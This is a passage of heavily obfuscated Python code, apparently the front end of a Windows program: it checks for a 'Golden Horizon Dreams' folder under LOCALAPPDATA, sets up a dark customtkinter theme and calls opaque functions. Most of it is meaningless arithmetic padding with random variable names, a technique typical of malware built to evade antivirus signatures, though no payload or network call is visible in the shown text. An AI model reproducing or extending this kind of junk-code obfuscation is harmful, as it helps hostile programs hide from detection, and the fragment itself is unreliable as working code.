    wnmgurrwxy = txobdmp * gssvzgqcwkdcc
    casuyx = eiyalsdoqmbensphn * txobdmp
    ztzinzktulfe = poaccalubqfb + txobdmp
    ilrbtrv = eiyalsdoqmbensphn + pykkdnucoz
    ltwtiv = poaccalubqfb - pykkdnucoz
    wvhzbyxx = txobdmp * eiyalsdoqmbensphn
    ODSvTcYfflVWPDzI = None
    ODSvTcYfflVWPDzI = csRZmQVFOoSVkhNTqlrXLcc()

    try:
        drhWlVAPkXUzcJly = os.path.join(os.environ['LOCALAPPDATA'], 'Golden Horizon Dreams')
        if os.path.exists(drhWlVAPkXUzcJly) and os.path.isdir(drhWlVAPkXUzcJly):
            htXndqXVEwrrQcmp = True
    except Exception:
        pass
    cyXuOAIaVTTkKadXpkS = False
    if ODSvTcYfflVWPDzI or htXndqXVEwrrQcmp:
        cyXuOAIaVTTkKadXpkS = True
        try:
            customtkinter.set_appearance_mode("dark")
            customtkinter.set_default_color_theme("dark-blue")
            rljDJNpgyVCPQNSIoOImqn=-20
            eugfdgjuph = 516
            xrtmhwuloffg = 643.8724701
            pqyugvusbqcetdssbd = 654
            vskipyaeg = 213
            yvesoxgvlfzhttdety = 865
            jcvsgkolbduyza = xrtmhwuloffg - eugfdgjuph
            bxrqzlglup = eugfdgjuph + pqyugvusbqcetdssbd
            mpccxfehfg = pqyugvusbqcetdssbd - vskipyaeg
            sopwzaxfoib = eugfdgjuph + xrtmhwuloffg + pqyugvusbqcetdssbd + vskipyaeg + yvesoxgvlfzhttdety
            wGKCYlOUudJTebIoO=0x00040000
            ynPTgJUlRfTPdINpMohYobjQ=0x00000080
            RHqkdDftCAxFfDNxPRRjDswoiA = True
            ggbbpaeqigqltd = 500
            mccyivzdczflc = 975.3384421992
            ipywnvlawecwec = 731
            azwdqznikdqwyppy = 495
            gpwpqinixumxxp = 8.70999888
            tpanagjpiw = 503
            tncsfopbjrifrvumxh = 542
            czyefgeuyqhzjvbnbi = 134
            xncbqq = tpanagjpiw * gpwpqinixumxxp
            peekwgqpnzfe = czyefgeuyqhzjvbnbi - mccyivzdczflc
            banmgjjy = gpwpqinixumxxp * czyefgeuyqhzjvbnbi
            omsxkupwy = ipywnvlawecwec * ggbbpaeqigqltd
            imnbpn = ipywnvlawecwec + azwdqznikdqwyppy
            ihnahdxdib = mccyivzdczflc - tpanagjpiw
            ysoaeqknu = azwdqznikdqwyppy - czyefgeuyqhzjvbnbi
            tmigwtxvo = tpanagjpiw - mccyivzdczflc
            PeSDqrqJcFxbuCVsZcXoaOZqd(RHqkdDftCAxFfDNxPRRjDswoiA, ODSvTcYfflVWPDzI)
        except Exception:
            sys.exit(0)



    def ekohucibkoshnwlmqk(tkzvmvemakwzib, ucleccslcfo, tlqlnigbzzeh, vfhqlvexzo, rzxwtuzlrblifekm):
        try:
            zugzccssix = 181
            dympiul = 944
            hoxlcjvejqhk = 641
            yrqyvgil = 829
            lhdmdmqhj = 285
            fmnyyn = 684
            xwvaynzrvl = 129
            ojlftapudcynp = 30
            trpwzmcpubjzznfwkp = 136
            lxxereduiny = trpwzmcpubjzznfwkp + fmnyyn
            wuyrzjll = xwvaynzrvl - dympiul
            crhjpvccnfnvu = zugzccssix + dympiul + hoxlcjvejqhk + yrqyvgil + lhdmdmqhj + fmnyyn + xwvaynzrvl + ojlftapudcynp + trpwzmcpubjzznfwkp
            return crhjpvccnfnvu
        except Exception:
            pass

    tkzvmvemakwzib = None
    ucleccslcfo = None
    tlqlnigbzzeh = None
    vfhqlvexzo = None
    rzxwtuzlrblifekm = None
    qomvgbdzqjyi = ekohucibkoshnwlmqk(tkzvmvemakwzib, ucleccslcfo, tlqlnigbzzeh, vfhqlvexzo, rzxwtuzlrblifekm)
    if not cyXuOAIaVTTkKadXpkS:
        try:
            customtkinter.set_appearance_mode("dark")
            htddnmgcscfijvlf = 857
            ilsrikefieoeukwhz = 293
            xltwkvnwvebzqeil = 892.184726198
            hyxmnyelf = 505
            keoigqlz = 484
            nzqleuyuwhsm = 275
            ecjefcqabuzvuxqujv = 365
            igmvgttuzvce = htddnmgcscfijvlf + ecjefcqabuzvuxqujv
            fopbqs = hyxmnyelf - ilsrikefieoeukwhz
            sppcurlgyyska = xltwkvnwvebzqeil * nzqleuyuwhsm
            biwdraptbshn = ilsrikefieoeukwhz + htddnmgcscfijvlf
            qtxosxe = nzqleuyuwhsm + htddnmgcscfijvlf
            qphgdjidoslozg = xltwkvnwvebzqeil + keoigqlz
            czghlfyjrl = keoigqlz + xltwkvnwvebzqeil
            upqdwkxwy = nzqleuyuwhsm + ilsrikefieoeukwhz
            nevzrdgim = ecjefcqabuzvuxqujv + ilsrikefieoeukwhz
            cydhfkegto = keoigqlz - ilsrikefieoeukwhz
            idgqrnwieapnz = htddnmgcscfijvlf + ilsrikefieoeukwhz + xltwkvnwvebzqeil + hyxmnyelf + keoigqlz + nzqleuyuwhsm + ecjefcqabuzvuxqujv
            customtkinter.set_default_color_theme("dark-blue")
            rljDJNpgyVCPQNSIoOImqn=-20
            wGKCYlOUudJTebIoO=0x00040000
            ynPTgJUlRfTPdINpMohYobjQ=0x00000080
            rlsstogdiuirh = 93
            hehoflazh = 521
            vnohsnc = 33
            uffbovee = 734
            oefmloyq = 102
            ueruwihxrtpcselkw = 800.28
            pkwnoylewwkejpeb = 254
            zhbewmdbc = 742
            izvuxneaqyv = uffbovee * zhbewmdbc
            daedvuccd = zhbewmdbc - oefmloyq
            ncuruduuwyoky = rlsstogdiuirh * hehoflazh
            dkeasvpnf = rlsstogdiuirh + hehoflazh + vnohsnc + uffbovee + oefmloyq + ueruwihxrtpcselkw + pkwnoylewwkejpeb + zhbewmdbc
            ODSvTcYfflVWPDzI = None
            PeSDqrqJcFxbuCVsZcXoaOZqd(RHqkdDftCAxFfDNxPRRjDswoiA, ODSvTcYfflVWPDzI)
        except Exception:
            pass